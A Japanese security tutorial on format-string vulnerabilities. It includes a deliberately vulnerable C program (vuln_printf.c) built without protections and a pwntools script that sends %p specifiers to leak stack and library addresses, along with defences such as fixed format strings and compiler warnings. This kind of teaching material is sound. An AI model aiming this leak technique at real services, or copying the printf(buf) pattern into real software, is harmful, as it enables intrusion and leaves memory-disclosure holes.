ハッカーはprintfで情報が漏れる仕組みと安全な検証方法をpwntoolsで学ぶ。Simple Format-String入門

ペネトレーションテスト&バグバウンティ

C言語のprintfの仕組みを利用してプログラム内部の情報が外部に漏れる「フォーマット文字列(Format-String)脆弱性」と、その安全な確認方法を分かりやすく解説します。

Simple Format-String(出力リーク)とは

ユーザー入力をそのまま、printf系関数に渡すことで、%pなどのフォーマット指定子によりプログラム内部のメモリ内容(アドレスやデータ)が外部に表示されてしまう脆弱性です。
 
printf(user_input)のような「書式をユーザー任せ」にすると、printfがスタックやメモリを参照して意図しない情報を出力し、それを攻撃者が取得できるようになります。
 
 

Simple Format-Stringの背景

printf系は古くからある強力な関数で、柔軟なフォーマット指定が可能です。
初期のC言語のコードは、簡潔さのために、printf(buf);のように書かれることがあり、これが脆弱性の元になりました。
設計上、printfは「書式(format)」を読み、対応する引数を取り出して表示する仕組みです。書式を外部入力にしてしまうと、printf が本来の引数以外の場所(スタック等)を読み取り始めるためリークが発生します。
 
本来は「フォーマットで見せ方を決める」が目的であるが、悪用されると「プログラム内部の情報収集(リコネサンス)」に使えるのです。
情報を得た攻撃者は、次の段階(例えば、ASLRを突破して、ROPを作る等)につなげられる。
※ASLRとは、「アドレス空間配置のランダム化」の略で、コンピュータのOSに実装されているセキュリティ機能です。
※ROPとは、Return-Oriented Programmingの略で、既存のプログラム内の命令断片(ガジェット)を組み合わせて悪意のあるコードを実行する、巧妙なサイバー攻撃手法です。
 
 

Simple Format-Stringが引き起こす影響

1.攻撃者視点
・メモリのアドレス(libc、実行ファイル、本当に見えてはいけない値)を取得できる。
・取得した情報で攻撃計画(アドレス計算、ROP チェーン作成)を立てられる。
・進めば任意書き込み(%n)へ変化させ、完全な侵害に至る可能性あり。
 
2.防御者(守る側)視点
・情報漏洩があるとシステムにつながる重要情報が外部に出るため、重大なセキュリティリスクになる。
・発見したらすぐに修正・テストを行い、運用環境では攻撃につながる設定を無効にする必要がある。
 
 

Simple Format-Stringの仕組み・動作の理解

やさしく説明すると、 
printfを「指示書を読んで箱から品物を取り出して見せる人」と考えます。
 
・指示書(format)
→ %s(文字列)、%d(10進数)、%p(メモリアドレス)など。
・品物(arguments)
→ 実際に見せる文字列や数。
 
通常は指示書と品物がきちんと渡されます。
しかし「指示書(format)をユーザーが差し出すと」
・指示書に、%pと書かれている
→ 人は「次の品物は箱のこの位置にあるはず」と思い込み、箱(スタックやレジスタ)を勝手に開けてしまう
→ そこに入っていた別のデータ(アドレスや値)が見えてしまう。これがリークです。
 
 

Simple Format-Stringの検証方法

重要 必ずローカル(VM)で検証をしてください。公開サービスや他人の環境で試してはいけません。
 

準備(Kali上の仮想環境)

1. Kali を VirtualBox/VMware上で起動。
 
2. Python 仮想環境作成
sudo apt update
sudo apt install -y python3-venv python3-pip
python3 -m venv ~/pwntools-venv
source ~/pwntools-venv/bin/activate
pip install –upgrade pip
pip install pwntools
 ※簡単に「Kali Linuxでのpwntoolsインストール手順」を説明しましたが、くわしくは「ハッカーの最強のツールのひとつである「pwntools」入門」をご覧ください。
 

学習用の脆弱なプログラム(vuln_printf.c)

vuln_printf.cはユーザ入力をそのままprintf(buf)で表示することで発生するフォーマット文字列脆弱性の学習用プログラムです。
1.プログラム
// vuln_printf.c
#include <stdio.h>
 
int main() {
    char buf[200];
    printf(“Input: “);
    fflush(stdout);
    if (fgets(buf, sizeof(buf), stdin) != NULL) {
        // 脆弱コード:ユーザ入力をそのままprintfへ
        printf(buf);
        printf(“\n");
    }
    return 0;
}
 
2.コンパイル
gcc -o vuln_printf vuln_printf.c -no-pie -fno-stack-protector
3.手動で確認
 ./vuln_printf
Input: %p %p %p
→ 画面に `0x…` が表示されたらリークが取れています。
 

pwntoolsで自動化(leak_printf.py)

pwntools を使って脆弱なプログラム vuln_printf に %p を大量に送り、printf が返す「リーク(0x…形式の値)」を自動で受け取り、数値として整えて一覧表示するスクリプトです。
 
1.プログラム
# leak_printf.py
from pwn import *
 
context.log_level = 'info’
p = process('./vuln_printf’)
 
p.recvuntil(b’Input: ')
payload = ' '.join(['%p’] * 20)    # %p を20個並べる
p.sendline(payload.encode())
 
line = p.recvline(timeout=2).decode().strip()
print(“raw leak:", line)
 
parts = line.split()
addrs = []
for s in parts:
    try:
        a = int(s, 16)
        addrs.append(a)
    except:
        pass
 
for i, a in enumerate(addrs):
    print(f"{i:2d}: {hex(a)}")
 
p.close()

2.仮想環境(venv)を作ります
python3 -m venv ~/pwntools-venv

3.Python の仮想環境(venv)を有効化する。
source ~/pwntools-venv/bin/activate

4.実行
 ・python3 leak_printf.py

5.期待される出力(例)

 

解析のヒント

1.0x7fff…系
スタック領域の可能性が高い
 
2.0×55…系
実行ファイル(ELF)付近
 
3.0x7f…系
libc 等の共有ライブラリ
 
 

Simple Format-Stringの対策・防御方法

1.コードレベルの対策(最重要)
・絶対にやってはいけない
printf(buf)のようにユーザ入力を直接書式に渡すこと。
・正しい書き方
printf(“%s", buf);のようにフォーマット文字列を固定する。
・入力は常に検証(長さ制限、文字種の制限)する。
 
2.コンパイラ/ビルド時の対策として
・Wformat-securitのような警告を有効にしてチェックする。
・静的解析ツール(clang-tidy, Coverity 等)で危険箇所を検出する。
※Clang-TidyはC++のコード品質を向上させるためのツールで、Coverityは重大な不具合やセキュリティ脆弱性を検出する、商用の静的コード解析プラットフォームです。

 

ハッカーはprintfで情報が漏れる仕組みと安全な検証方法をpwntoolsで学ぶ Simple Format-String入門のまとめ

Simple Format-String脆弱性とは、ユーザー入力をそのままprintf関数に渡すことで、%pなどの書式指定子によって内部メモリの情報(アドレスやデータ)が外部に漏れてしまう問題です。
printf(user_input)のようなコードは、printfがスタックを勝手に読み取り、攻撃者に情報を与えてしまいます。
Kali Linux上でpwntoolsを使えば、vuln_printf.cを作成し、安全な環境でこの脆弱性を自動解析できます。出力された0x…形式の値から、スタックやライブラリ領域を観察し、挙動を理解することが可能になります。